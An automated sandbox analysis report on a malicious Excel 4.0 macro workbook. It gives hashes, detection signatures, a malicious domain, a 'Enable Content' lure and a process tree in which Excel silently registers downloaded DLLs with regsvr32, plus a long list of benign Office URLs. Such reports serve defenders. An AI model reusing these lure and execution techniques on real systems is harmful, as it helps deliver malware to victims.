Loading ...

Play interactive tourEdit tour

Analysis Report research-1234799369.xlsb

Overview

General Information

Sample Name:research-1234799369.xlsb
Analysis ID:433459
MD5:67f1e54dd81e9c126975c8356d524a97
SHA1:c3402eab0b72b805070d7b3e403da2db2a6c6344
SHA256:032d16df59c9a45e044e348443a18d830b9f895329587559f1316536733ae277
Tags:xlsx
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Sigma detected: Microsoft Office Product Spawning Windows Shell
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Sample execution stops while process was sleeping (likely an evasion)
Tries to load missing DLLs
Yara detected Xls With Macro 4.0

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 3528 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • splwow64.exe (PID: 4952 cmdline: C:\Windows\splwow64.exe 12288 MD5: 8D59B31FF375059E3C32B17BF31A76D5)
    • regsvr32.exe (PID: 1532 cmdline: regsvr32 -s ..\covi1.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 2208 cmdline: regsvr32 -s ..\covi2.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
app.xmlJoeSecurity_XlsWithMacro4Yara detected Xls With Macro 4.0Joe Security

    Sigma Overview

    System Summary:

    barindex
    Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
    Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -s ..\covi1.dll, CommandLine: regsvr32 -s ..\covi1.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 3528, ProcessCommandLine: regsvr32 -s ..\covi1.dll, ProcessId: 1532

    Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Multi AV Scanner detection for submitted fileShow sources
    Source: research-1234799369.xlsbVirustotal: Detection: 10%Perma Link
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
    Source: unknownHTTPS traffic detected: 52.220.160.98:443 -> 192.168.2.3:49719 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 67.227.192.75:443 -> 192.168.2.3:49721 version: TLS 1.2

    Software Vulnerabilities:

    barindex
    Document exploit detected (UrlDownloadToFile)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
    Document exploit detected (process start blacklist hit)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
    Source: global trafficDNS query: name: eimathsuae.com
    Source: global trafficTCP traffic: 192.168.2.3:49719 -> 52.220.160.98:443
    Source: global trafficTCP traffic: 192.168.2.3:49719 -> 52.220.160.98:443
    Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
    Source: unknownDNS traffic detected: queries for: eimathsuae.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.aadrm.com/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.cortana.ai
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.diagnostics.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.microsoftstream.com/api/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.office.net
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.onedrive.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://apis.live.net/v5.0/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://augloop.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://augloop.office.com/v2
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://cdn.entity.
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://clients.config.office.net/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://config.edge.skype.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://cortana.ai
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://cortana.ai/api
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://cr.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://dataservice.o365filtering.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://dataservice.o365filtering.com/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://dev.cortana.ai
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://devnull.onenote.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://directory.services.
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://graph.ppe.windows.net
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://graph.ppe.windows.net/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://graph.windows.net
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://graph.windows.net/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://incidents.diagnostics.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://lifecycle.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://login.microsoftonline.com/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://login.windows.local
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://management.azure.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://management.azure.com/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://messaging.office.com/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://ncus.contentsync.
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://ncus.pagecontentsync.
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://officeapps.live.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://onedrive.live.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://onedrive.live.com/embed?
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://outlook.office.com/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://outlook.office365.com/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://pages.store.office.com/review/query
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://powerlift.acompli.net
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://settings.outlook.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://shell.suite.office.com:1443
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://skyapi.live.net/Activity/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://staging.cortana.ai
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://store.office.cn/addinstemplate
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://store.office.com/addinstemplate
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://store.office.de/addinstemplate
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://tasks.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://templatelogging.office.com/client/log
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://web.microsoftstream.com/video/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://webshell.suite.office.com
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://wus2.contentsync.
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://wus2.pagecontentsync.
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
    Source: 342A5005-7391-419E-8552-26772D1EF86E.0.drString found in binary or memory: https://www.odwebp.svc.ms
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
    Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
    Source: unknownHTTPS traffic detected: 52.220.160.98:443 -> 192.168.2.3:49719 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 67.227.192.75:443 -> 192.168.2.3:49721 version: TLS 1.2

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 4Screenshot OCR: Enable Content 14 15 16 :: 17 18 WHY I CANNOT OPEN THIS DOCUMENT ? 19 20 21 W You are using
    Found Excel 4.0 Macro with suspicious formulasShow sources
    Source: research-1234799369.xlsbInitial sample: EXEC
    Found abnormal large hidden Excel 4.0 Macro sheetShow sources
    Source: research-1234799369.xlsbInitial sample: Sheet size: 7493
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
    Source: classification engineClassification label: mal76.expl.evad.winXLSB@7/9@2/2
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{14F74214-4468-44E0-A0BC-CE9492F7FA6D} - OProcSessId.datJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: research-1234799369.xlsbVirustotal: Detection: 10%
    Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\covi1.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\covi2.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288Jump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\covi1.dllJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\covi2.dllJump to behavior
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: research-1234799369.xlsbInitial sample: OLE zip file path = xl/media/image2.png
    Source: research-1234799369.xlsbInitial sample: OLE zip file path = xl/media/image3.png
    Source: research-1234799369.xlsbInitial sample: OLE zip file path = xl/media/image4.png
    Source: research-1234799369.xlsbInitial sample: OLE zip file path = xl/media/image5.png
    Source: research-1234799369.xlsbInitial sample: OLE zip file path = xl/media/image6.png
    Source: research-1234799369.xlsbInitial sample: OLE zip file path = xl/media/image1.png
    Source: research-1234799369.xlsbInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\covi1.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
